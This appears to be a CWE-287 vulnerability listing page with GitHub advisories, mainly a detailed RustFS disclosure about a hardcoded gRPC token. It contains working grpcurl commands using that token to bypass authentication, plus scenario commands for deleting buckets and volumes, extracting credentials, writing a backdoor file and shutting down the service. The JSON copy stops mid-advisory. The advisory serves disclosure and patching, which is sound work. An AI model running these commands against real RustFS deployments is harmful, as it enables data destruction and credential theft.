Common Weakness Enumeration

CWE-287

Discouraged

Improper Authentication

Abstraction: Class · Status: Draft

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

6040 vulnerabilities reference this CWE, most recent first.

GHSA-H932-R8MQ-2CCG

Vulnerability from github – Published: 2022-05-17 04:41 – Updated: 2025-04-12 12:34
VLAI
Details

The Java Glassfish Admin Console in HP Executive Scorecard 9.40 and 9.41 does not require authentication, which allows remote attackers to execute arbitrary code via a session on TCP port 10001, aka ZDI-CAN-2116.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-2609"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-06-19T10:50:00Z",
    "severity": "HIGH"
  },
  "details": "The Java Glassfish Admin Console in HP Executive Scorecard 9.40 and 9.41 does not require authentication, which allows remote attackers to execute arbitrary code via a session on TCP port 10001, aka ZDI-CAN-2116.",
  "id": "GHSA-h932-r8mq-2ccg",
  "modified": "2025-04-12T12:34:57Z",
  "published": "2022-05-17T04:41:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2609"
    },
    {
      "type": "WEB",
      "url": "https://h20564.www2.hp.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c04341295"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/59363"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/68093"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1030439"
    },
    {
      "type": "WEB",
      "url": "http://zerodayinitiative.com/advisories/ZDI-14-208"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-H93J-R724-8967

Vulnerability from github – Published: 2022-05-19 00:00 – Updated: 2022-05-27 00:01
VLAI
Details

An access control issue in D-Link DIR816L_FW206b01 allows unauthenticated attackers to access folders folder_view.php and category_view.php.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-28955"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-18T12:15:00Z",
    "severity": "HIGH"
  },
  "details": "An access control issue in D-Link DIR816L_FW206b01 allows unauthenticated attackers to access folders folder_view.php and category_view.php.",
  "id": "GHSA-h93j-r724-8967",
  "modified": "2022-05-27T00:01:29Z",
  "published": "2022-05-19T00:00:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28955"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shijin0925/IOT/blob/master/DIR816/1.md"
    },
    {
      "type": "WEB",
      "url": "https://www.dlink.com/en/security-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H956-RH7X-PPGJ

Vulnerability from github – Published: 2025-12-30 23:06 – Updated: 2026-01-07 15:22
VLAI
Summary
RustFS has a gRPC Hardcoded Token Authentication Bypass
Details

Vulnerability Overview

Description

RustFS implements gRPC authentication using a hardcoded static token "rustfs rpc" that is: 1. Publicly exposed in the source code repository 2. Hardcoded on both client and server sides 3. Non-configurable with no mechanism for token rotation 4. Universally valid across all RustFS deployments

Any attacker with network access to the gRPC port can authenticate using this publicly known token and execute privileged operations including data destruction, policy manipulation, and cluster configuration changes.

CVSS 3.1 Score

Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Attack Vector (AV): Network - Exploitable remotely
  • Attack Complexity (AC): Low - No special conditions required
  • Privileges Required (PR): None - No authentication needed (bypassed)
  • User Interaction (UI): None - Fully automated exploitation
  • Scope (S): Unchanged - Impact contained to vulnerable component
  • Confidentiality (C): High - Complete data disclosure
  • Integrity (I): High - Complete data modification capability
  • Availability (A): High - Complete service disruption capability

Vulnerable Code Analysis

Server-Side Authentication (rustfs/src/server/http.rs:679-686)

#[allow(clippy::result_large_err)]
fn check_auth(req: Request<()>) -> std::result::Result<Request<()>, Status> {
    let token: MetadataValue<_> = "rustfs rpc".parse().unwrap();  // ⚠️ HARDCODED!

    match req.metadata().get("authorization") {
        Some(t) if token == t => Ok(req),
        _ => Err(Status::unauthenticated("No valid auth token")),
    }
}

Issues: - Static token hardcoded as string literal - No configuration mechanism (environment variable, file, etc.) - Token visible in public GitHub repository - Identical across all installations

Client-Side Authentication (crates/protos/src/lib.rs:153-174)

pub async fn node_service_time_out_client(
    addr: &String,
) -> Result<NodeServiceClient<...>, Box<dyn Error>> {
    let token: MetadataValue<_> = "rustfs rpc".parse()?;  // ⚠️ SAME HARDCODED TOKEN!

    // ...

    Ok(NodeServiceClient::with_interceptor(
        channel,
        Box::new(move |mut req: Request<()>| {
            req.metadata_mut().insert("authorization", token.clone());
            Ok(req)
        }),
    ))
}

Issues: - Client uses identical hardcoded token - No secure token distribution mechanism - Token cannot be rotated without code changes

Service Integration (rustfs/src/server/http.rs:520-521)

let rpc_service = NodeServiceServer::with_interceptor(make_server(), check_auth);
let service = hybrid(s3_service, rpc_service);

The check_auth interceptor is applied to all gRPC services via NodeServiceServer::with_interceptor, protecting all 50+ gRPC methods in node.proto with the same weak authentication.


Reproduction Steps

Environment Setup

Test Environment: - RustFS Server: localhost:9000 (HTTP + gRPC hybrid service) - RustFS Console: localhost:9001 - Container: rustfs/rustfs:latest (Docker Compose deployment) - Default credentials: rustfsadmin/rustfsadmin

Tools Required: - grpcurl v1.9.3+ (gRPC command-line client) - RustFS proto files: crates/protos/src/node.proto

Step 1: Verify Authentication is Enforced

Test 1.1: Request without authentication token

$ grpcurl -plaintext \
    -import-path /private/tmp/rustfs/crates/protos/src \
    -proto node.proto \
    -d '{}' \
    localhost:9000 node_service.NodeService/Ping

Expected Result: ✅ Authentication failure

ERROR:
  Code: Unauthenticated
  Message: No valid auth token

Test 1.2: Request with incorrect token

$ grpcurl -plaintext \
    -H 'authorization: wrong-token-12345' \
    -import-path /private/tmp/rustfs/crates/protos/src \
    -proto node.proto \
    -d '{}' \
    localhost:9000 node_service.NodeService/Ping

Expected Result: ✅ Authentication failure

ERROR:
  Code: Unauthenticated
  Message: No valid auth token

Conclusion: Authentication is properly enforced - unauthorized requests are rejected.


Step 2: Extract Hardcoded Token from Source Code

Public Source Code Analysis:

$ git clone https://github.com/rustfs/rustfs.git
$ cd rustfs
$ grep -rn '"rustfs rpc"' --include='*.rs'

Result: ✅ Token found in public source code

rustfs/src/server/http.rs:680:    let token: MetadataValue<_> = "rustfs rpc".parse().unwrap();
crates/protos/src/lib.rs:153:    let token: MetadataValue<_> = "rustfs rpc".parse()?;

Extracted Token: rustfs rpc


Step 3: Exploit - Authenticate Using Hardcoded Token

Test 3.1: Successful authentication with hardcoded token

$ grpcurl -plaintext \
    -H 'authorization: rustfs rpc' \
    -import-path /private/tmp/rustfs/crates/protos/src \
    -proto node.proto \
    -d '{}' \
    localhost:9000 node_service.NodeService/Ping

Result: 🔓 AUTHENTICATION BYPASSED

{
  "version": "1",
  "body": "DAAAAAAABgAIAAQABgAAAAQAAAANAAAAaGVsbG8sIGNhbGxlcgAAAA=="
}

Analysis: Server accepted the hardcoded token and returned a successful response. Authentication completely bypassed.


Step 4: Demonstrate Access to Sensitive Management APIs

Test 4.1: Server Configuration Disclosure

$ grpcurl -plaintext \
    -H 'authorization: rustfs rpc' \
    -import-path /private/tmp/rustfs/crates/protos/src \
    -proto node.proto \
    -d '{}' \
    localhost:9000 node_service.NodeService/ServerInfo

Result: ✅ Complete server configuration disclosed

{
  "success": true,
  "serverProperties": "n6ZvbmxpbmWsMC4wLjAuMDo5MDAwoM0DhdkjMjAyNS0xMi0xOVQwNjo1NzoxOVpAMS4wLjAtYWxwaGEuNzaggawwLjAuMC4wOjkwMDCmb25saW5llNwAGq0vZGF0YS9ydXN0ZnMwwq0vZGF0YS9ydXN0ZnMwwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAANwAGq0vZGF0YS9ydXN0ZnMxwq0vZGF0YS9ydXN0ZnMxwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAdwAGq0vZGF0YS9ydXN0ZnMywq0vZGF0YS9ydXN0ZnMywsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAtwAGq0vZGF0YS9ydXN0ZnMzwq0vZGF0YS9ydXN0ZnMzwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAwGRAZUAAAAAAAAAoIA="
}

Analysis: - Server returned complete configuration including storage paths, endpoint addresses, version info - Binary data contains sensitive internal state (MessagePack encoded) - Information disclosure confirmed

Test 4.2: Disk Information Access

$ grpcurl -plaintext \
    -H 'authorization: rustfs rpc' \
    -import-path /private/tmp/rustfs/crates/protos/src \
    -proto node.proto \
    -d '{}' \
    localhost:9000 node_service.NodeService/DiskInfo

Result: ✅ Authenticated request accepted (business logic error returned, not auth error)

{
  "error": {
    "code": 36,
    "errorInfo": "io error can not find disk"
  }
}

Analysis: - Request passed authentication (error is business logic, not authentication) - Proves attacker has authenticated access to sensitive system information APIs


Impact Analysis

Affected APIs

All 50+ gRPC methods in node_service.NodeService are vulnerable:

🔴 CRITICAL Impact - Data Destruction

  • DeleteBucket - Delete production buckets
  • DeleteVolume - Destroy entire storage volumes
  • DeleteUser - Remove legitimate users
  • DeletePolicy - Remove access control policies
  • DeleteServiceAccount - Remove service accounts

🔴 CRITICAL Impact - Configuration Manipulation

  • ReloadSiteReplicationConfig - Corrupt cluster replication
  • SignalService - Control service lifecycle
  • LoadPolicy - Modify access control policies
  • LoadPolicyMapping - Alter policy assignments

🟠 HIGH Impact - Unauthorized Data Access/Modification

  • ReadAll / ReadAt - Read arbitrary data
  • WriteAll / WriteStream - Inject malicious data
  • RenameFile / RenameData - Manipulate file system
  • UpdateMetadata / WriteMetadata - Corrupt metadata

🟠 HIGH Impact - Privilege Escalation

  • LoadUser - Access user credentials
  • LoadServiceAccount - Access service credentials
  • LoadGroup - Access group memberships

🟡 MEDIUM Impact - Information Disclosure

  • ServerInfo - Server configuration disclosure
  • DiskInfo - Storage configuration disclosure
  • GetMetrics - Performance metrics disclosure
  • GetBucketStats - Bucket statistics disclosure
  • LocalStorageInfo - Storage system information
  • ListBucket - Bucket enumeration

🟡 MEDIUM Impact - Cluster Operations

  • MakeBucket - Unauthorized bucket creation
  • HealBucket - Trigger repair operations
  • BackgroundHealStatus - Monitor internal operations

Attack Scenarios

Scenario 1: Data Destruction

# Enumerate all buckets
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"options": "{}"}' \
  localhost:9000 node_service.NodeService/ListBucket

# Delete critical production bucket
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"bucket": "production-data"}' \
  localhost:9000 node_service.NodeService/DeleteBucket

# Delete entire storage volume
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"volume": "vol1"}' \
  localhost:9000 node_service.NodeService/DeleteVolume

Impact: Complete data loss, business disruption

Scenario 2: Credential Harvesting

# Extract user credentials
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"access_key": "admin"}' \
  localhost:9000 node_service.NodeService/LoadUser

# Extract service account credentials
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"access_key": "service-account"}' \
  localhost:9000 node_service.NodeService/LoadServiceAccount

# Exfiltrate IAM policies
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"name": "admin-policy"}' \
  localhost:9000 node_service.NodeService/LoadPolicy

Impact: Complete IAM compromise, lateral movement

Scenario 3: Backdoor Installation

# Inject malicious data into system paths
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"volume": "config", "path": "backdoor.sh", "buf": "..."}' \
  localhost:9000 node_service.NodeService/WriteAll

# Modify system configuration
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"bucket": "system", "path": ".rustfs.sys/config.json", "fi": "..."}' \
  localhost:9000 node_service.NodeService/WriteMetadata

Impact: Persistent compromise, further exploitation

Scenario 4: Cluster Disruption

# Corrupt replication configuration
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{}' \
  localhost:9000 node_service.NodeService/ReloadSiteReplicationConfig

# Force service restart/shutdown
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"sig": 2}' \
  localhost:9000 node_service.NodeService/SignalService

Impact: Distributed system failure, data inconsistency


Exploitation Preconditions

Required Conditions

All conditions typically met in production deployments:

  1. Network Access: Attacker can reach gRPC port (9000/TCP)
  2. RustFS binds to 0.0.0.0 by default (all interfaces)
  3. Commonly exposed for distributed node communication

  4. Token Knowledge: Token is publicly known

  5. Available in public GitHub repository
  6. Identical across all RustFS installations
  7. Cannot be changed without code modification

  8. No Additional Security Controls:

  9. No mTLS/certificate-based authentication
  10. No IP whitelisting (typically)
  11. No VPN/network segmentation requirements
  12. No rate limiting on authentication attempts

Attack Complexity

Complexity: 🟢 TRIVIAL

  • Single grpcurl command with hardcoded token
  • No exploit development required
  • No timing or race conditions
  • No target-specific reconnaissance needed
  • Fully automatable
  • Works against any RustFS instance

Time to Exploit: < 1 minute


Security Impact

Confidentiality Impact: HIGH

  • Complete Data Disclosure: All stored objects readable via ReadAll/ReadAt
  • Credential Exposure: IAM users, service accounts, policies accessible
  • Configuration Disclosure: Server, storage, cluster configuration leaked
  • Metrics Exposure: Performance and usage metrics accessible

Integrity Impact: HIGH

  • Data Modification: Arbitrary data injection via WriteAll/WriteStream
  • Metadata Corruption: File metadata tampering via WriteMetadata
  • Policy Manipulation: IAM policies modifiable via LoadPolicy
  • Configuration Changes: Cluster replication config alterable

Availability Impact: HIGH

  • Data Destruction: Buckets/volumes deletable via DeleteBucket/DeleteVolume
  • Service Disruption: Service controllable via SignalService
  • Cluster Degradation: Replication corruption via ReloadSiteReplicationConfig
  • Resource Exhaustion: Arbitrary data writes, bucket creation

Compliance & Regulatory Impact

Standards Violated

PCI-DSS v4.0

  • Requirement 6.5.3: Broken authentication
  • Requirement 8.2: Strong authentication required
  • Requirement 8.6: Multi-factor authentication required

OWASP Top 10 2021

  • A07:2021 - Identification and Authentication Failures
  • Use of hard-coded credentials
  • Missing or ineffective authentication

CWE (Common Weakness Enumeration)

  • CWE-798: Use of Hard-coded Credentials (Rank: 37/400)
  • CWE-1391: Use of Weak Credentials
  • CWE-287: Improper Authentication

NIST Cybersecurity Framework

  • PR.AC-1: Access control mechanisms violated
  • PR.AC-7: Authentication mechanisms insufficient

SOC 2 Type II

  • CC6.1: Logical access controls inadequate
  • CC6.6: Credential management controls missing

Legal & Business Impact

  • Data Breach Notification: GDPR Art. 33, CCPA §1798.150
  • Regulatory Fines: GDPR up to €20M or 4% annual revenue
  • Customer Trust: Severe reputational damage
  • Service Disruption: SLA violations, customer compensation
  • Incident Response Costs: Forensics, remediation, legal fees

Proof of Concept

Automated POC Script

File: audit_analysis/poc_cve_2025_008_grpc_token_working.sh

Usage:

chmod +x poc_cve_2025_008_grpc_token_working.sh
./poc_cve_2025_008_grpc_token_working.sh [target_host:port]

Default Target: localhost:9000

POC Features

  1. Baseline Authentication Testing
  2. Verifies unauthenticated requests are rejected
  3. Verifies incorrect tokens are rejected

  4. Exploit Demonstration

  5. Authenticates using hardcoded token
  6. Calls Ping service successfully

  7. Sensitive API Access

  8. Accesses ServerInfo (configuration disclosure)
  9. Accesses DiskInfo (system information)
  10. Demonstrates authenticated access to management APIs

  11. Detailed Reporting

  12. Displays vulnerable code locations
  13. Lists all affected APIs (50+ methods)
  14. Provides CVSS scoring and impact analysis
  15. Includes remediation recommendations

POC Output Summary

[PHASE 1] Baseline Testing
  ✓ Without token: REJECTED (Unauthenticated)
  ✓ With wrong token: REJECTED (Unauthenticated)

[PHASE 2] Exploit
  ✓ With hardcoded token "rustfs rpc": ACCEPTED ✅

[PHASE 3] Sensitive API Access
  ✓ ServerInfo: SUCCESS - Configuration disclosed
  ✓ DiskInfo: SUCCESS - System information accessible

[RESULT] VULNERABILITY CONFIRMED

Acknowledgements

We would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.0-alpha.77"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "rustfs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0-alpha.13"
            },
            {
              "fixed": "1.0.0-alpha.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68926"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-798"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-30T23:06:15Z",
    "nvd_published_at": "2025-12-30T17:15:43Z",
    "severity": "CRITICAL"
  },
  "details": "## Vulnerability Overview\n\n### Description\n\nRustFS implements gRPC authentication using a hardcoded static token `\"rustfs rpc\"` that is:\n1. **Publicly exposed** in the source code repository\n2. **Hardcoded** on both client and server sides\n3. **Non-configurable** with no mechanism for token rotation\n4. **Universally valid** across all RustFS deployments\n\nAny attacker with network access to the gRPC port can authenticate using this publicly known token and execute privileged operations including data destruction, policy manipulation, and cluster configuration changes.\n\n### CVSS 3.1 Score\n\n**Score**: 9.8 (Critical)\n**Vector**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n- **Attack Vector (AV)**: Network - Exploitable remotely\n- **Attack Complexity (AC)**: Low - No special conditions required\n- **Privileges Required (PR)**: None - No authentication needed (bypassed)\n- **User Interaction (UI)**: None - Fully automated exploitation\n- **Scope (S)**: Unchanged - Impact contained to vulnerable component\n- **Confidentiality (C)**: High - Complete data disclosure\n- **Integrity (I)**: High - Complete data modification capability\n- **Availability (A)**: High - Complete service disruption capability\n\n---\n\n## Vulnerable Code Analysis\n\n### Server-Side Authentication (rustfs/src/server/http.rs:679-686)\n\n```rust\n#[allow(clippy::result_large_err)]\nfn check_auth(req: Request\u003c()\u003e) -\u003e std::result::Result\u003cRequest\u003c()\u003e, Status\u003e {\n    let token: MetadataValue\u003c_\u003e = \"rustfs rpc\".parse().unwrap();  // \u26a0\ufe0f HARDCODED!\n\n    match req.metadata().get(\"authorization\") {\n        Some(t) if token == t =\u003e Ok(req),\n        _ =\u003e Err(Status::unauthenticated(\"No valid auth token\")),\n    }\n}\n```\n\n**Issues**:\n- Static token hardcoded as string literal\n- No configuration mechanism (environment variable, file, etc.)\n- Token visible in public GitHub repository\n- Identical across all installations\n\n### Client-Side Authentication (crates/protos/src/lib.rs:153-174)\n\n```rust\npub async fn node_service_time_out_client(\n    addr: \u0026String,\n) -\u003e Result\u003cNodeServiceClient\u003c...\u003e, Box\u003cdyn Error\u003e\u003e {\n    let token: MetadataValue\u003c_\u003e = \"rustfs rpc\".parse()?;  // \u26a0\ufe0f SAME HARDCODED TOKEN!\n\n    // ...\n\n    Ok(NodeServiceClient::with_interceptor(\n        channel,\n        Box::new(move |mut req: Request\u003c()\u003e| {\n            req.metadata_mut().insert(\"authorization\", token.clone());\n            Ok(req)\n        }),\n    ))\n}\n```\n\n**Issues**:\n- Client uses identical hardcoded token\n- No secure token distribution mechanism\n- Token cannot be rotated without code changes\n\n### Service Integration (rustfs/src/server/http.rs:520-521)\n\n```rust\nlet rpc_service = NodeServiceServer::with_interceptor(make_server(), check_auth);\nlet service = hybrid(s3_service, rpc_service);\n```\n\nThe `check_auth` interceptor is applied to all gRPC services via `NodeServiceServer::with_interceptor`, protecting **all 50+ gRPC methods** in `node.proto` with the same weak authentication.\n\n---\n\n## Reproduction Steps\n\n### Environment Setup\n\n**Test Environment**:\n- RustFS Server: `localhost:9000` (HTTP + gRPC hybrid service)\n- RustFS Console: `localhost:9001`\n- Container: `rustfs/rustfs:latest` (Docker Compose deployment)\n- Default credentials: `rustfsadmin/rustfsadmin`\n\n**Tools Required**:\n- `grpcurl` v1.9.3+ (gRPC command-line client)\n- RustFS proto files: `crates/protos/src/node.proto`\n\n### Step 1: Verify Authentication is Enforced\n\n**Test 1.1: Request without authentication token**\n\n```bash\n$ grpcurl -plaintext \\\n    -import-path /private/tmp/rustfs/crates/protos/src \\\n    -proto node.proto \\\n    -d \u0027{}\u0027 \\\n    localhost:9000 node_service.NodeService/Ping\n```\n\n**Expected Result**: \u2705 Authentication failure\n\n```\nERROR:\n  Code: Unauthenticated\n  Message: No valid auth token\n```\n\n**Test 1.2: Request with incorrect token**\n\n```bash\n$ grpcurl -plaintext \\\n    -H \u0027authorization: wrong-token-12345\u0027 \\\n    -import-path /private/tmp/rustfs/crates/protos/src \\\n    -proto node.proto \\\n    -d \u0027{}\u0027 \\\n    localhost:9000 node_service.NodeService/Ping\n```\n\n**Expected Result**: \u2705 Authentication failure\n\n```\nERROR:\n  Code: Unauthenticated\n  Message: No valid auth token\n```\n\n**Conclusion**: Authentication is properly enforced - unauthorized requests are rejected.\n\n---\n\n### Step 2: Extract Hardcoded Token from Source Code\n\n**Public Source Code Analysis**:\n\n```bash\n$ git clone https://github.com/rustfs/rustfs.git\n$ cd rustfs\n$ grep -rn \u0027\"rustfs rpc\"\u0027 --include=\u0027*.rs\u0027\n```\n\n**Result**: \u2705 Token found in public source code\n\n```\nrustfs/src/server/http.rs:680:    let token: MetadataValue\u003c_\u003e = \"rustfs rpc\".parse().unwrap();\ncrates/protos/src/lib.rs:153:    let token: MetadataValue\u003c_\u003e = \"rustfs rpc\".parse()?;\n```\n\n**Extracted Token**: `rustfs rpc`\n\n---\n\n### Step 3: Exploit - Authenticate Using Hardcoded Token\n\n**Test 3.1: Successful authentication with hardcoded token**\n\n```bash\n$ grpcurl -plaintext \\\n    -H \u0027authorization: rustfs rpc\u0027 \\\n    -import-path /private/tmp/rustfs/crates/protos/src \\\n    -proto node.proto \\\n    -d \u0027{}\u0027 \\\n    localhost:9000 node_service.NodeService/Ping\n```\n\n**Result**: \ud83d\udd13 **AUTHENTICATION BYPASSED**\n\n```json\n{\n  \"version\": \"1\",\n  \"body\": \"DAAAAAAABgAIAAQABgAAAAQAAAANAAAAaGVsbG8sIGNhbGxlcgAAAA==\"\n}\n```\n\n**Analysis**: Server accepted the hardcoded token and returned a successful response. Authentication completely bypassed.\n\n---\n\n### Step 4: Demonstrate Access to Sensitive Management APIs\n\n**Test 4.1: Server Configuration Disclosure**\n\n```bash\n$ grpcurl -plaintext \\\n    -H \u0027authorization: rustfs rpc\u0027 \\\n    -import-path /private/tmp/rustfs/crates/protos/src \\\n    -proto node.proto \\\n    -d \u0027{}\u0027 \\\n    localhost:9000 node_service.NodeService/ServerInfo\n```\n\n**Result**: \u2705 **Complete server configuration disclosed**\n\n```json\n{\n  \"success\": true,\n  \"serverProperties\": \"n6ZvbmxpbmWsMC4wLjAuMDo5MDAwoM0DhdkjMjAyNS0xMi0xOVQwNjo1NzoxOVpAMS4wLjAtYWxwaGEuNzaggawwLjAuMC4wOjkwMDCmb25saW5llNwAGq0vZGF0YS9ydXN0ZnMwwq0vZGF0YS9ydXN0ZnMwwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAANwAGq0vZGF0YS9ydXN0ZnMxwq0vZGF0YS9ydXN0ZnMxwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAdwAGq0vZGF0YS9ydXN0ZnMywq0vZGF0YS9ydXN0ZnMywsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAtwAGq0vZGF0YS9ydXN0ZnMzwq0vZGF0YS9ydXN0ZnMzwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAwGRAZUAAAAAAAAAoIA=\"\n}\n```\n\n**Analysis**:\n- Server returned complete configuration including storage paths, endpoint addresses, version info\n- Binary data contains sensitive internal state (MessagePack encoded)\n- Information disclosure confirmed\n\n**Test 4.2: Disk Information Access**\n\n```bash\n$ grpcurl -plaintext \\\n    -H \u0027authorization: rustfs rpc\u0027 \\\n    -import-path /private/tmp/rustfs/crates/protos/src \\\n    -proto node.proto \\\n    -d \u0027{}\u0027 \\\n    localhost:9000 node_service.NodeService/DiskInfo\n```\n\n**Result**: \u2705 **Authenticated request accepted** (business logic error returned, not auth error)\n\n```json\n{\n  \"error\": {\n    \"code\": 36,\n    \"errorInfo\": \"io error can not find disk\"\n  }\n}\n```\n\n**Analysis**:\n- Request passed authentication (error is business logic, not authentication)\n- Proves attacker has authenticated access to sensitive system information APIs\n\n---\n\n## Impact Analysis\n\n### Affected APIs\n\nAll 50+ gRPC methods in `node_service.NodeService` are vulnerable:\n\n#### \ud83d\udd34 **CRITICAL Impact - Data Destruction**\n- `DeleteBucket` - Delete production buckets\n- `DeleteVolume` - Destroy entire storage volumes\n- `DeleteUser` - Remove legitimate users\n- `DeletePolicy` - Remove access control policies\n- `DeleteServiceAccount` - Remove service accounts\n\n#### \ud83d\udd34 **CRITICAL Impact - Configuration Manipulation**\n- `ReloadSiteReplicationConfig` - Corrupt cluster replication\n- `SignalService` - Control service lifecycle\n- `LoadPolicy` - Modify access control policies\n- `LoadPolicyMapping` - Alter policy assignments\n\n#### \ud83d\udfe0 **HIGH Impact - Unauthorized Data Access/Modification**\n- `ReadAll` / `ReadAt` - Read arbitrary data\n- `WriteAll` / `WriteStream` - Inject malicious data\n- `RenameFile` / `RenameData` - Manipulate file system\n- `UpdateMetadata` / `WriteMetadata` - Corrupt metadata\n\n#### \ud83d\udfe0 **HIGH Impact - Privilege Escalation**\n- `LoadUser` - Access user credentials\n- `LoadServiceAccount` - Access service credentials\n- `LoadGroup` - Access group memberships\n\n#### \ud83d\udfe1 **MEDIUM Impact - Information Disclosure**\n- `ServerInfo` - Server configuration disclosure\n- `DiskInfo` - Storage configuration disclosure\n- `GetMetrics` - Performance metrics disclosure\n- `GetBucketStats` - Bucket statistics disclosure\n- `LocalStorageInfo` - Storage system information\n- `ListBucket` - Bucket enumeration\n\n#### \ud83d\udfe1 **MEDIUM Impact - Cluster Operations**\n- `MakeBucket` - Unauthorized bucket creation\n- `HealBucket` - Trigger repair operations\n- `BackgroundHealStatus` - Monitor internal operations\n\n### Attack Scenarios\n\n#### Scenario 1: Data Destruction\n\n```bash\n# Enumerate all buckets\ngrpcurl -plaintext -H \u0027authorization: rustfs rpc\u0027 \\\n  -d \u0027{\"options\": \"{}\"}\u0027 \\\n  localhost:9000 node_service.NodeService/ListBucket\n\n# Delete critical production bucket\ngrpcurl -plaintext -H \u0027authorization: rustfs rpc\u0027 \\\n  -d \u0027{\"bucket\": \"production-data\"}\u0027 \\\n  localhost:9000 node_service.NodeService/DeleteBucket\n\n# Delete entire storage volume\ngrpcurl -plaintext -H \u0027authorization: rustfs rpc\u0027 \\\n  -d \u0027{\"volume\": \"vol1\"}\u0027 \\\n  localhost:9000 node_service.NodeService/DeleteVolume\n```\n\n**Impact**: Complete data loss, business disruption\n\n#### Scenario 2: Credential Harvesting\n\n```bash\n# Extract user credentials\ngrpcurl -plaintext -H \u0027authorization: rustfs rpc\u0027 \\\n  -d \u0027{\"access_key\": \"admin\"}\u0027 \\\n  localhost:9000 node_service.NodeService/LoadUser\n\n# Extract service account credentials\ngrpcurl -plaintext -H \u0027authorization: rustfs rpc\u0027 \\\n  -d \u0027{\"access_key\": \"service-account\"}\u0027 \\\n  localhost:9000 node_service.NodeService/LoadServiceAccount\n\n# Exfiltrate IAM policies\ngrpcurl -plaintext -H \u0027authorization: rustfs rpc\u0027 \\\n  -d \u0027{\"name\": \"admin-policy\"}\u0027 \\\n  localhost:9000 node_service.NodeService/LoadPolicy\n```\n\n**Impact**: Complete IAM compromise, lateral movement\n\n#### Scenario 3: Backdoor Installation\n\n```bash\n# Inject malicious data into system paths\ngrpcurl -plaintext -H \u0027authorization: rustfs rpc\u0027 \\\n  -d \u0027{\"volume\": \"config\", \"path\": \"backdoor.sh\", \"buf\": \"...\"}\u0027 \\\n  localhost:9000 node_service.NodeService/WriteAll\n\n# Modify system configuration\ngrpcurl -plaintext -H \u0027authorization: rustfs rpc\u0027 \\\n  -d \u0027{\"bucket\": \"system\", \"path\": \".rustfs.sys/config.json\", \"fi\": \"...\"}\u0027 \\\n  localhost:9000 